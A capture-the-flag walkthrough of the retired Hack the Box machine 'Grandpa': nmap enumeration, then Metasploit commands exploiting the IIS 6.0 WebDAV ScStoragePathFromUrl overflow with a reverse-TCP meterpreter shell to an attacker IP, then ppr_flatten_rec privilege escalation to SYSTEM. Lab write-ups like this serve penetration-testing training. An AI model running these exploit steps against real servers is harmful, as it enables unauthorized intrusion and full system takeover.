Hello friends!! Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Grandpa Lab.

Level: Beginners

Task: find user.txt and root.txt file in victim’s machine.

Let’s begin the Game!!

Since these labs are online available therefore they have static IP and IP of Grandpa is 10.10.10.14 so let’s begin with nmap port enumeration.

nmap -p- -sV 10.10.10.14

From nmap result I found following information.

Open port: 80 for http

Service version: Microsoft IIS httpd 6.0

Os : Windows machine.

Then I used searcgsploit for iis 6.0 and found a Remote Buffer overflow vulnerability in Microsoft IIS httpd 6.0, you can check this exploit in google aslo.

Then I run msfconsole command in terminal and load metasploit framework for using Microsoft IIS WebDav ScStoragePathFromUrl Overflow module for exploiting target machine.

use exploit/windows/iis/iis_webdav_scstoragepathfromurl

msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set rhost 10.10.10.14 (target IP)

msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set payload windows/meterpreter/reverse_tcp

msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lhost 10.10.14.3 (attacker IP)

msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lport 4444

msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) run

Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.

Then I run command getuid for identify user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.

For that background your current meterpreter shell and go for post exploitation.

Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.

use post/multi/recon/local_exploit_suggester

msf post(multi/recon/local_exploit_suggester) > set session 1

msf post(multi/recon/local_exploit_suggester) > run

Wonderful!! Exploit Suggester truly proof itself by suggesting other exploit name to which target is vulnerable. So now we will go with last option as highlighted in image.

At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.

use exploit/windows/local/ppr_flatten_rec

msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.3

msf exploit(windows/local/ppr_flatten_rec) > set lport 4455

msf exploit(windows/local/ppr_flatten_rec) > run

Nice!! It works and we got meterpreter session 2 as system user and you can check in below image.

Meterpreter > getuid

Now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.

Meterpreter > shell

Inside c:\Document and Setting\Harry\Desktop I found user.txt file and used type “file name” command for reading this file.

cd Desktop

type user.txt

Great!! We got our 1^st flag successfully

Inside c:\Document and Setting\Administrtator \Desktop I found root.txt file and used type “file name” command for reading this file.

cd Desktop

typeroot.txt

Great!! We got our 2^st flag successfully

Breaching this lab was interesting and enjoyable moment for me. It will take less time if you are aware of proper metasploit exploits. Therefore I will give all Glory to Metasploit for making this challenge easy for me.

Happy Hacking!!

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here